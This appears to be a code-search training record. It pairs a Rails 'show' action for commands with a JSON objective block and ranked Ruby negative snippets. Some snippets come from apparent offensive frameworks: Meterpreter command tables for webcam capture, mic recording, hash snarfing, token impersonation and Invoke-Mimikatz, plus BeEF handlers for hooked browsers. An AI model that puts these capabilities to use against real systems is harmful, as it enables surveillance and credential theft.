value.#{v}\" }.join(', ')\n end\n to_body << \");\"\n end\n read_body << \"r = self.#{name}_readhook(r);\" if hooks[:read]\n read_body << \"r;\"\n to_body << \"r;\"\n readlen_body << \"offset - old_offset;\"\n\n define_str = \"def read_#{name}(array,offset);#{read_body}end;\"\n define_str << \"def read_#{name}_length(array,offset);#{readlen_body}end;\"\n define_str << \"def to_#{name}(value);#{to_body}end;\"\n \n defines = Proc.new do \n define_method(:\"#{name}_class\") { object_class }\n define_method(:\"#{name}_newhook\", &hooks[:new]) if hooks[:new] \n define_method(:\"#{name}_readhook\", &hooks[:read]) if hooks[:read]\n define_method(:\"#{name}_tohook\", &hooks[:to]) if hooks[:to] \n end\n \n @target.class_eval(&defines)\n @target.class_eval define_str\n (class << @target; self; end).module_eval(&defines)\n (class << @target; self; end).module_eval define_str\n end", "def create_ostruct_array(array)\n ret = []\n array.each do |value|\n if value.is_a?(Hash)\n ret << create_ostruct_from_hash(value)\n elsif value.is_a?(Array)\n ret << create_ostruct_array(value)\n else\n ret << value\n end\n end\n ret\nend", "def obj_file source\n ext = @data['extensions'][@language]['source']\n obj, src = builddir(source.sub(/#{ext}$/, objext)), srcdir(source)\n d = File.dirname(obj)\n\n directory d\n file obj => [ d, src ] do\n make_object obj, src\n end\n CLEAN.include obj\n\n obj\n end" ]
[ "0.6278626", "0.61189574", "0.5995268", "0.5810311", "0.5792834", "0.5704883", "0.57033473", "0.5678983", "0.5612167", "0.5592857", "0.5508088", "0.55053204", "0.5481234", "0.5477341", "0.5462412", "0.54365253", "0.5432352", "0.5421812", "0.53694427", "0.5361314", "0.5349662", "0.53346235", "0.52954346", "0.5294957", "0.5290463", "0.52699995", "0.526548", "0.5257581", "0.5255096", "0.52491724", "0.5247667", "0.52293366", "0.520881", "0.5192513", "0.5184458", "0.51804996", "0.5180126", "0.51715297", "0.51693547", "0.51382565", "0.51367277", "0.51325804", "0.51172847", "0.5100558", "0.508652", "0.5085547", "0.5085509", "0.507777", "0.50742096", "0.5042152", "0.50351477", "0.5024602", "0.5004654", "0.5000546", "0.49894044", "0.49838713", "0.4983171", "0.49820057", "0.49763706", "0.4971802", "0.49632594", "0.49631876", "0.49570253", "0.49550387", "0.49543914", "0.49531597", "0.49487138", "0.49419406", "0.493783", "0.49366432", "0.49246678", "0.49215937", "0.4921049", "0.49084586", "0.4900518", "0.48946416", "0.48907295", "0.48894897", "0.48870087", "0.48846164", "0.4881129", "0.48753685", "0.48678356", "0.48519236", "0.4847535", "0.4840681", "0.48383582", "0.4836183", "0.48275816", "0.48269555", "0.4826126", "0.48224443", "0.482185", "0.4821288", "0.4821288", "0.48205465", "0.48135927", "0.48113564", "0.48092788" ]
0.5938934
4
GET /commands GET /commands.json
def index @commands = Command.all render :json => @commands end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def commands(params = {})\n res = @client.get(\"#{path}/commands\", params)\n\n res.json[\"commands\"].map { |atts| M2X::Client::Command.new(@client, atts) } if res.success?\n end", "def index\n @commands = Command.all\n end", "def index\n @commands = Command.all\n end", "def index\n @commands = Command.find(:all)\n display @commands\n end", "def command(id)\n res = @client.get(\"#{path}/commands/#{id}\")\n\n M2X::Client::Command.new(@client, res.json) if res.success?\n end", "def cmd_execute(endpoint, commands)\n url = \"http://#{host}:#{port}/#{endpoint.to_s}?#{query_string(commands)}\"\n open(url) do |file|\n JSON.parse(file.read)\n end\n end", "def commands\n {}\n end", "def commands\n COMMANDS\n end", "def commands\n load_commands unless @commands\n @commands\n end", "def get_commands\n return nil\n end", "def index\n @commands = Command.order(created_at: :desc).page(params[:page])\n end", "def commands\n\t\tall = {\n\t\t\t\"webcam_list\" => \"List webcams\",\n\t\t\t\"webcam_snap\" => \"Take a snapshot from the specified webcam\",\n\t\t\t\"record_mic\" => \"Record audio from the default microphone for X seconds\"\n\t\t}\n\t\treqs = {\n\t\t\t\"webcam_list\" => [ \"webcam_list\" ],\n\t\t\t\"webcam_snap\" => [ \"webcam_start\", \"webcam_get_frame\", \"webcam_stop\" ],\n\t\t\t\"record_mic\" => [ \"webcam_record_audio\" ],\n\t\t}\n\n\t\tall.delete_if do |cmd, desc|\n\t\t\tdel = false\n\t\t\treqs[cmd].each do |req|\n\t\t\t\tnext if client.commands.include? req\n\t\t\t\tdel = true\n\t\t\t\tbreak\n\t\t\tend\n\n\t\t\tdel\n\t\tend\n\n\t\tall\n\tend", "def commands\n {\n }\n end", "def commands\n @commands ||= []\n end", "def index\n @commanders = Commander.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commanders }\n end\n end", "def commands\n\t\t{ }\n\tend", "def json_api_command(command, stdin = nil, *args)\n res = api_command(command, stdin, *args)\n return res if res.nil? || res == ''\n JSON.parse(res, symbolize_names: true, object_class: ActiveSupport::HashWithIndifferentAccess)\n end", "def commands\n\n {\n 'TODO' => \"This one shout take its sub commands from current(headers/body) variables and the key value should be the command description\n This one should depend on current context\"\n }\n\n end", "def show\n respond_to do |format|\n if @command.present?\n format.json { render json: @command }\n else\n msg = { :status => 'error', message: 'Records Not Found'}\n format.json { render json: msg }\n end\n end\n end", "def commands\n unless defined? @commands\n @commands = []\n end\n return @commands\n end", "def commands\n @commands.keys.sort\n end", "def get(command, options)\n @client.get(command, options)\n end", "def commands\n {\n # meta commands\n 'dradis_config' => \"Show Dradis API configuration (#{config_file})\",\n 'dradis_help'\t => 'Displays help',\n 'dradis_version' => 'Displays version information',\n\n # API commands\n 'dradis_add_node' => 'Add a new Node to dradis',\n 'dradis_nodes' => 'List all nodes'\n }\n end", "def api_v11_cm_commands_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_commands_get ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/commands\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'view'] = opts[:'view'] if opts[:'view']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_commands_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @controlcommands = Controlcommand.all\n end", "def index\n @command_items = CommandItem.all\n end", "def show\n @command_item = CommandItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @command_item }\n end\n end", "def index\n @mallet_commands = MalletCommand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mallet_commands }\n end\n end", "def supported_commands\n commands.keys\n end", "def commands; end", "def commands\n self.class.commands\n end", "def commands\n @commands ||= [].tap do |c|\n commands_list.each do |command|\n if command.instance_of? String\n c << standard_commands[command].new\n else\n ret_command = send(command)\n c << (ret_command.instance_of?(Hash) ? ret_command.values : ret_command)\n end\n end\n end.flatten\n end", "def get_command(command)\n ensure_cache_up_to_date\n namespace = \"bluster:objects:command:#{command}\"\n keys = self.redis.keys(\"#{namespace}:*\")\n data = {}\n keys.each { |key|\n short_key = key.split(\":\")[4]\n data[short_key] = self.redis.get(\"#{namespace}:#{short_key}\")\n }\n data\n end", "def list_commands\n puts template(:all, {\n app: File.basename(@app),\n\n cmds: ::WeatherSage::CLI::Help::COMMANDS.values.map { |cmd|\n template(:cmd, cmd)\n }.join(\"\\n\"),\n\n envs: ::WeatherSage::CLI::Env::VARS.map { |row|\n template(:env, row)\n }.join(\"\\n\\n\"),\n })\n end", "def get_application_commands(server_id: nil)\n resp = if server_id\n API::Application.get_guild_commands(@token, profile.id, server_id)\n else\n API::Application.get_global_commands(@token, profile.id)\n end\n\n JSON.parse(resp).map do |command_data|\n ApplicationCommand.new(command_data, self, server_id)\n end\n end", "def command_list m\n get_list escape m.channel.to_s #logic/pug\n end", "def client_commands\n @client_commands ||= []\n end", "def commands\n return [] unless options[\"commands\"]\n options[\"commands\"].map do |options|\n options['parents'] = parents + [name]\n Command.new options\n end\n end", "def commands\n ensure_cache_up_to_date\n commands = self.redis.keys(\"bluster:objects:command:*\")\n commands.map! { |r| r.split(\":\")[3] }\n commands.uniq\n end", "def api_v11_cm_service_commands_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_service_commands_get ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/service/commands\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'view'] = opts[:'view'] if opts[:'view']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_service_commands_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def commands\n\t\t{\n\t\t\t\"add_user\" => \"Attempt to add a user with all tokens\",\n\t\t\t\"add_localgroup_user\" => \"Attempt to add a user to a local group with all tokens\",\n\t\t\t\"add_group_user\" => \"Attempt to add a user to a global group with all tokens\",\n\t\t\t\"list_tokens\" => \"List tokens available under current user context\",\n\t\t\t\"impersonate_token\" => \"Impersonate specified token\",\n\t\t\t\"snarf_hashes\" => \"Snarf challenge/response hashes for every token\"\n\t\t}\n\tend", "def api_v11_cm_commands_get(opts = {})\n api_v11_cm_commands_get_with_http_info(opts)\n return nil\n end", "def commands\n\t\t{\n\t\t\t\"execute\" => \"Execute a command\",\n\t\t\t\"shell\" => \"Drop into a system command shell\",\n\t\t}\n\tend", "def parse_cmd commands\n\t\t@commands = commands.split(//)\n\tend", "def all_commands\n [client_commands, server_commands].flatten\n end", "def select_command_module_commands\n commands = []\n i=0\n\n # get params\n zombie_session = @params['zombie_session'] || nil\n (print_error \"Zombie session is nil\";return) if zombie_session.nil?\n command_module_id = @params['command_module_id'] || nil\n (print_error \"command_module id is nil\";return) if command_module_id.nil?\n # validate nonce\n nonce = @params['nonce'] || nil\n (print_error \"nonce is nil\";return) if nonce.nil?\n (print_error \"nonce incorrect\";return) if @session.get_nonce != nonce\n \n # get the browser id\n zombie = Z.first(:session => zombie_session)\n (print_error \"Zombie is nil\";return) if zombie.nil?\n zombie_id = zombie.id\n (print_error \"Zombie id is nil\";return) if zombie_id.nil?\n \n C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|\n commands.push({\n 'id' => i, \n 'object_id' => command.id, \n 'creationdate' => Time.at(command.creationdate.to_i).strftime(\"%Y-%m-%d %H:%M\").to_s, \n 'label' => command.label\n })\n i+=1\n end\n \n @body = {\n 'success' => 'true', \n 'commands' => commands}.to_json\n \n end", "def command\n wall = Wall.find_by(path: params[:path])\n cmd = params[:wall][:command]\n ce = CommandExecutor.new(wall: wall, command: cmd)\n\n result = ce.run!\n\n respond_to do |format|\n if result[:success]\n flash[:notice] = 'Command Successful'\n format.html { redirect_to wall_path wall }\n format.json { render json: result, status: 200 }\n else\n flash[:notice] = 'Command Failed'\n format.html { redirect_to wall_path wall }\n format.json { render json: result, status: 406 }\n end\n end\n end", "def command(*args)\n return unless alive?\n\n payload = {\n \"command\" => args,\n }\n\n @command_queue << JSON.generate(payload)\n\n @result_queue.pop\n end", "def commands\n {\n 'help' => 'Help menu',\n 'background' => 'Backgrounds the current shell session',\n 'sessions' => 'Quickly switch to another session',\n 'resource' => 'Run a meta commands script stored in a local file',\n 'shell' => 'Spawn an interactive shell (*NIX Only)',\n 'download' => 'Download files (*NIX Only)',\n 'upload' => 'Upload files (*NIX Only)',\n 'source' => 'Run a shell script on remote machine (*NIX Only)',\n 'irb' => 'Open an interactive Ruby shell on the current session',\n 'pry' => 'Open the Pry debugger on the current session'\n }\n end", "def select_command\n \n # get params\n command_id = @params['command_id'] || nil\n (print_error \"Command id is nil\";return) if command_id.nil?\n command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil\n (print_error \"Command is nil\";return) if command.nil?\n\n command_module = BeEF::Core::Models::CommandModule.get(command.command_module_id)\n (print_error \"command_module is nil\";return) if command_module.nil?\n\n if(command_module.path.split('/').first.match(/^Dynamic/))\n dyn_mod_name = command_module.path.split('/').last\n e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new\n else\n command_module_name = command_module.name\n e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name)\n end\n \n @body = {\n 'success' => 'true', \n 'command_module_name' => command_module_name,\n 'command_module_id' => command_module.id,\n 'data' => BeEF::Module.get_options(command_module_name),\n 'definition' => JSON.parse(e.to_json)\n }.to_json\n\n end", "def command(name)\n return @commands[name]\n end", "def available_commands(options)\n commands = %w[/start /checkin /checkout]\n response_to_user(options, commands.to_s)\n end", "def commands\r\n @help_commands\r\n end", "def run_command(command, options)\n response = get(command, options)\n\n JSON.parse(response.body)['data']\n rescue StandardError => err\n raise RequestError, err.message\n end", "def list_commands\n Invoker::ProcessPrinter.to_json(workers)\n end", "def index\n @commands = Command.accessible_by(current_ability).all(:conditions => { :exitstatus => nil})\n\n respond_to do |format|\n format.xml { render :xml => @commands }\n end\n end", "def commands\n @commands ||=\n if superclass.respond_to? :commands\n superclass.commands.clone\n else\n {}\n end\n end", "def cmd_list argv\n setup argv\n type = @hash['type']\n response = @api.list(type)\n if response.is_a?(Array)\n response.each do | r |\n msg r\n end\n else\n msg response\n end\n return response\n end", "def list_commands\n puts UI_ARROW.light_yellow + \" \" + \"'fight', 'f', or 'battle' to view enemies and fight.\"\n puts UI_ARROW.light_yellow + \" \" + \"'armoury' or 'a' to go to the armoury.\"\n puts UI_ARROW.light_yellow + \" \" + \"'stats' to view your current status.\"\n puts UI_ARROW.light_yellow + \" \" + \"'clear' or 'cls' to clear the screen.\"\n puts UI_ARROW.light_yellow + \" \" + \"'quit', 'q', or 'exit' to abandon your journey.\"\nend", "def commands\n\t\t{\n\t\t\t\"?\" => \"Help menu\",\n\t\t\t\"background\" => \"Backgrounds the current session\",\n\t\t\t\"close\" => \"Closes a channel\",\n\t\t\t\"channel\" => \"Displays information about active channels\",\n\t\t\t\"exit\" => \"Terminate the meterpreter session\",\n\t\t\t\"help\" => \"Help menu\",\n\t\t\t\"interact\" => \"Interacts with a channel\",\n\t\t\t\"irb\" => \"Drop into irb scripting mode\",\n\t\t\t\"migrate\" => \"Migrate the server to another process\",\n\t\t\t\"use\" => \"Load a one or more meterpreter extensions\",\n\t\t\t\"quit\" => \"Terminate the meterpreter session\",\n\t\t\t\"read\" => \"Reads data from a channel\",\n\t\t\t\"run\" => \"Executes a meterpreter script\",\n\t\t\t\"bgrun\" => \"Executes a meterpreter script as a background thread\",\n\t\t\t\"bgkill\" => \"Kills a background meterpreter script\",\n\t\t\t\"bglist\" => \"Lists running background scripts\",\n\t\t\t\"write\" => \"Writes data to a channel\",\n\t\t}\n\tend", "def server_commands\n @server_commands ||= []\n end", "def commands\n {\n \"sample\" => \"A sample command added by the sample plugin\",\n \"notifier_start\" => \"Start session watcher\",\n \"notifier_stop\" => \"Stop session watcher\",\n \"notifier_set_user\" => \"Set Dashboard user name\",\n \"notifier_set_pass\" => \"Set Dashboard password\",\n \"notifier_set_dashboard_url\" => \"Set Dashboard base URL\",\n \"notifier_show_config\" => \"Show notifier config\",\n \"notifier_dashboard_login\" => \"Log in to dashboard\",\n \"notifier_dashboard_permissions\" => \"Get dashbaord user permissions\"\n }\n end", "def previewed_commands\n @commands.map { |cmd| embed_command(cmd) }\n end", "def load_commands\n Dir[\"#{Scarlet.root}/commands/**/*.rb\"].each {|path| load path and Command.parse_help path}\n end", "def commands\n self.class.command_classes\n end", "def command_params\n params[:command]\n end", "def subcommands\n @subcommands ||= []\n end", "def subcommands\n @subcommands ||= []\n end", "def list_commands(character, input=nil)\n \t\tcommands = COMMANDS.keys\n \t\t\n\t\tprint_line commands.join(?\\s)\n\t\tprint_line\n\tend", "def create\n @command = Command.new(command_params)\n\n respond_to do |format|\n if @command.save\n format.json { render json: @command }\n else\n format.json { render json: @command.errors, status: 401 }\n end\n end\n end", "def command(name)\n commands[name]\n end", "def command(name)\n commands[name]\n end", "def command(name)\n commands[name]\n end", "def commands\n\t\t{\n\t\t\t\"cat\" => \"Read the contents of a file to the screen\",\n\t\t\t\"cd\" => \"Change directory\",\n\t\t\t\"download\" => \"Download a file or directory\",\n\t\t\t\"edit\" => \"Edit a file\",\n\t\t\t\"getwd\" => \"Print working directory\",\n\t\t\t\"ls\" => \"List files\",\n\t\t\t\"mkdir\" => \"Make directory\",\n\t\t\t\"pwd\" => \"Print working directory\",\n\t\t\t\"rmdir\" => \"Remove directory\",\n\t\t\t\"upload\" => \"Upload a file or directory\",\n\t\t\t\"lcd\" => \"Change local working directory\",\n\t\t\t\"getlwd\" => \"Print local working directory\",\n\t\t\t\"lpwd\" => \"Print local working directory\",\n\t\t\t\"rm\" => \"Delete the specified file\",\n\t\t\t\"del\" => \"Delete the specified file\",\n\t\t\t\"search\" => \"Search for files\"\n\t\t}\n\tend", "def commands\n {\n 'headers' => 'Show post headers.',\n 'body' => 'Show post body.',\n 'full_post' => 'Show full post, headers & body.'\n }\n end", "def api_v11_cm_service_commands_get(opts = {})\n api_v11_cm_service_commands_get_with_http_info(opts)\n return nil\n end", "def print_commands\n puts \"Your available commands are: \".green\n puts \"go take use help backpack quit\\n\\n\"\n puts \"Directions:\".green\n @current_room.print_exits\n if @current_room.has_items?\n # Room has items in it\n puts \"\\nItems available: \".colorize(:green)\n @current_room.print_items\n puts \"\\n\"\n else\n puts \"\\nThere are no items in this room\".green\n puts \"\\n\"\n end\n end", "def commands\n @aliases\n end", "def commands\n raise NotImplementedError, \"`command' is not implemented by #{self.class.name}\"\n end", "def requestCommands\n # Request input in a loop until QUIT is read\n quit = false\n until quit do\n input = @view.captureInput\n # Check if input is QUIT\n quit = input =~ /^#{Command::Q}$/i\n unless quit\n processCommand(input)\n end\n end\n end", "def command; datastore['COMMAND']; end", "def command_list\n options[:commands] || SimpleFormEpicEditor::EpicEditorInput.configuration.commands\n end", "def commands\n {\n \"power_shell\" => \"Execute a powershell command.\",\n \"power_view\" => \"Download and execute Veil's PowerView Framework\",\n \"power_up\" => \"Download and execute the PowerUp Framework\",\n \"power_katz\" => \"Invoke-Mimikatz into memory using PowerShell\",\n \"power_scan\" => \"Invoke-PortScan from meterpreter using PowerShell\"\n }\n end", "def cmd_get argv\n setup argv\n e = @hash['element']\n response = @api.get(e)\n msg JSON.pretty_generate(response)\n return response\n end", "def add_commands\n end", "def command\n console.gets.chomp\n end", "def commands\n @@commands.dup\n end", "def get\n execute(:get)\n end", "def get\n execute(:get)\n end", "def api(command, options = {})\n client.api(command, options)\n end", "def api(command, options = {})\n client.api(command, options)\n end", "def command_uri\n return \"/api_#{@command_name}.php\"\n end", "def commands\n\t\t\t{\n\t\t\t\t\"edit\" => \"A handy editor commmand\"\n\t\t\t}\n\t\tend", "def command name\n @commands[name]\n end", "def commands\n @commands.reject { |_, v| v.is_a? CommandLion::Option }\n end", "def help(command = nil)\n @api.request 'help', command\n end", "def commands\n help_list = {}\n @commands.map do |cmd|\n info = Commands.const_get(\"#{cmd}\".capitalize!).info #=> {cmd => \"Description\"}\n help_list[info.keys.first] = info.values.first\n end\n\n return help_list\n end", "def method_missing(method, *args, &block)\n commands.send(method, *args, &block)\n end", "def commands\n\t\t\t{\n\t\t\t\t\"wmap_website\" => \"List website structure\",\n\t\t\t\t\"wmap_targets\" => \"Targets in the database\",\n\t\t\t\t\"wmap_sql\" => \"Query the database\",\n\t\t\t\t\"wmap_run\" => \"Automatically test/exploit everything\",\n\t\t\t\t\"wmap_proxy\" => \"Run mitm proxy\",\n\t\t\t\t\"wmap_crawl\" => \"Crawl website\",\n\t\t\t\t\"wmap_attack\" => \"Crawl and Test\",\n\t\t\t}\n\t\tend", "def command\n @command ||= command_for(:query)\n end" ]
[ "0.78649783", "0.7111867", "0.7111867", "0.6937871", "0.69377637", "0.67611986", "0.6751875", "0.6694443", "0.6670576", "0.664987", "0.6609053", "0.65806025", "0.65446085", "0.6470076", "0.64382315", "0.63795847", "0.6256752", "0.61963713", "0.61805284", "0.6176437", "0.6157272", "0.61537725", "0.6152862", "0.6140865", "0.6123499", "0.6100417", "0.6078229", "0.6078022", "0.6072988", "0.60679466", "0.60679054", "0.60653055", "0.6060337", "0.60428995", "0.6042801", "0.60420376", "0.6021169", "0.60196686", "0.5994465", "0.59822315", "0.59760636", "0.5954251", "0.59535635", "0.5942812", "0.5932183", "0.59315556", "0.5907587", "0.5869467", "0.5859956", "0.5856698", "0.58552784", "0.5850678", "0.58403707", "0.58379245", "0.5825814", "0.58178884", "0.5816258", "0.5796092", "0.5769552", "0.5758614", "0.57357246", "0.5732381", "0.5727532", "0.57225263", "0.57203966", "0.5717763", "0.571558", "0.571558", "0.5698599", "0.56956625", "0.5694064", "0.5694064", "0.5694064", "0.56875545", "0.5681075", "0.56735593", "0.5670823", "0.56570125", "0.56545055", "0.5653466", "0.5646241", "0.5645334", "0.56436956", "0.564249", "0.5640644", "0.5632048", "0.56209874", "0.5606786", "0.5606786", "0.55998117", "0.55998117", "0.5598312", "0.5596861", "0.55775183", "0.5573769", "0.55666584", "0.5566579", "0.5559024", "0.55471605", "0.55467445" ]
0.7855072
1
GET /commands/1 GET /commands/1.json
def show respond_to do |format| if @command.present? format.json { render json: @command } else msg = { :status => 'error', message: 'Records Not Found'} format.json { render json: msg } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @commands = Command.all\n render :json => @commands\n end", "def command(id)\n res = @client.get(\"#{path}/commands/#{id}\")\n\n M2X::Client::Command.new(@client, res.json) if res.success?\n end", "def commands(params = {})\n res = @client.get(\"#{path}/commands\", params)\n\n res.json[\"commands\"].map { |atts| M2X::Client::Command.new(@client, atts) } if res.success?\n end", "def index\n @commands = Command.all\n end", "def index\n @commands = Command.all\n end", "def index\n @commands = Command.find(:all)\n display @commands\n end", "def show\n @command_item = CommandItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @command_item }\n end\n end", "def index\n @commands = Command.order(created_at: :desc).page(params[:page])\n end", "def index\n @commanders = Commander.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @commanders }\n end\n end", "def command(name)\n return @commands[name]\n end", "def commands\n {}\n end", "def commands\n COMMANDS\n end", "def commands\n {\n }\n end", "def get_command(command)\n ensure_cache_up_to_date\n namespace = \"bluster:objects:command:#{command}\"\n keys = self.redis.keys(\"#{namespace}:*\")\n data = {}\n keys.each { |key|\n short_key = key.split(\":\")[4]\n data[short_key] = self.redis.get(\"#{namespace}:#{short_key}\")\n }\n data\n end", "def get_commands\n return nil\n end", "def command(name)\n commands[name]\n end", "def command(name)\n commands[name]\n end", "def command(name)\n commands[name]\n end", "def index\n @command_items = CommandItem.all\n end", "def command name\n @commands[name]\n end", "def commands\n\t\t{ }\n\tend", "def select_command\n \n # get params\n command_id = @params['command_id'] || nil\n (print_error \"Command id is nil\";return) if command_id.nil?\n command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil\n (print_error \"Command is nil\";return) if command.nil?\n\n command_module = BeEF::Core::Models::CommandModule.get(command.command_module_id)\n (print_error \"command_module is nil\";return) if command_module.nil?\n\n if(command_module.path.split('/').first.match(/^Dynamic/))\n dyn_mod_name = command_module.path.split('/').last\n e = BeEF::Modules::Commands.const_get(dyn_mod_name.capitalize).new\n else\n command_module_name = command_module.name\n e = BeEF::Core::Command.const_get(command_module_name.capitalize).new(command_module_name)\n end\n \n @body = {\n 'success' => 'true', \n 'command_module_name' => command_module_name,\n 'command_module_id' => command_module.id,\n 'data' => BeEF::Module.get_options(command_module_name),\n 'definition' => JSON.parse(e.to_json)\n }.to_json\n\n end", "def show\n @command_parameter = CommandParameter.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @command_parameter }\n end\n end", "def show\n @command = Command.accessible_by(current_ability).find(params[:id])\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @command }\n end\n end", "def show\n @commander = Commander.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @commander }\n end\n end", "def json_cmd_one(cmd, key, path)\n unless path\n [\"JSON.#{cmd.upcase}\", key]\n else\n [\"JSON.#{cmd.upcase}\", key, path]\n end\n end", "def command\n wall = Wall.find_by(path: params[:path])\n cmd = params[:wall][:command]\n ce = CommandExecutor.new(wall: wall, command: cmd)\n\n result = ce.run!\n\n respond_to do |format|\n if result[:success]\n flash[:notice] = 'Command Successful'\n format.html { redirect_to wall_path wall }\n format.json { render json: result, status: 200 }\n else\n flash[:notice] = 'Command Failed'\n format.html { redirect_to wall_path wall }\n format.json { render json: result, status: 406 }\n end\n end\n end", "def get(command, options)\n @client.get(command, options)\n end", "def command_uri\n return \"/api_#{@command_name}.php\"\n end", "def command; datastore['COMMAND']; end", "def cmd_execute(endpoint, commands)\n url = \"http://#{host}:#{port}/#{endpoint.to_s}?#{query_string(commands)}\"\n open(url) do |file|\n JSON.parse(file.read)\n end\n end", "def index\n @controlcommands = Controlcommand.all\n end", "def commands\n load_commands unless @commands\n @commands\n end", "def index\n @mallet_commands = MalletCommand.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @mallet_commands }\n end\n end", "def fetch(n)\n @commands[n]\n end", "def command\n consume 1, :command\n end", "def commands\n\t\tall = {\n\t\t\t\"webcam_list\" => \"List webcams\",\n\t\t\t\"webcam_snap\" => \"Take a snapshot from the specified webcam\",\n\t\t\t\"record_mic\" => \"Record audio from the default microphone for X seconds\"\n\t\t}\n\t\treqs = {\n\t\t\t\"webcam_list\" => [ \"webcam_list\" ],\n\t\t\t\"webcam_snap\" => [ \"webcam_start\", \"webcam_get_frame\", \"webcam_stop\" ],\n\t\t\t\"record_mic\" => [ \"webcam_record_audio\" ],\n\t\t}\n\n\t\tall.delete_if do |cmd, desc|\n\t\t\tdel = false\n\t\t\treqs[cmd].each do |req|\n\t\t\t\tnext if client.commands.include? req\n\t\t\t\tdel = true\n\t\t\t\tbreak\n\t\t\tend\n\n\t\t\tdel\n\t\tend\n\n\t\tall\n\tend", "def show\n @mallet_command = MalletCommand.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @mallet_command }\n end\n end", "def json_api_command(command, stdin = nil, *args)\n res = api_command(command, stdin, *args)\n return res if res.nil? || res == ''\n JSON.parse(res, symbolize_names: true, object_class: ActiveSupport::HashWithIndifferentAccess)\n end", "def commands; end", "def set_command\n @command = Command.find(params[:id])\n end", "def set_command\n @command = Command.find(params[:id])\n end", "def command(type)\n end", "def api_v11_cm_commands_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi#api_v11_cm_commands_get ...\"\n end\n \n # resource path\n path = \"/api/v11/cm/commands\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'view'] = opts[:'view'] if opts[:'view']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = []\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = []\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#api_v11_cm_commands_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def command\n console.gets.chomp\n end", "def index\n @commands = Command.accessible_by(current_ability).all(:conditions => { :exitstatus => nil})\n\n respond_to do |format|\n format.xml { render :xml => @commands }\n end\n end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def command; end", "def new\n @command_item = CommandItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @command_item }\n end\n end", "def select_command_module_commands\n commands = []\n i=0\n\n # get params\n zombie_session = @params['zombie_session'] || nil\n (print_error \"Zombie session is nil\";return) if zombie_session.nil?\n command_module_id = @params['command_module_id'] || nil\n (print_error \"command_module id is nil\";return) if command_module_id.nil?\n # validate nonce\n nonce = @params['nonce'] || nil\n (print_error \"nonce is nil\";return) if nonce.nil?\n (print_error \"nonce incorrect\";return) if @session.get_nonce != nonce\n \n # get the browser id\n zombie = Z.first(:session => zombie_session)\n (print_error \"Zombie is nil\";return) if zombie.nil?\n zombie_id = zombie.id\n (print_error \"Zombie id is nil\";return) if zombie_id.nil?\n \n 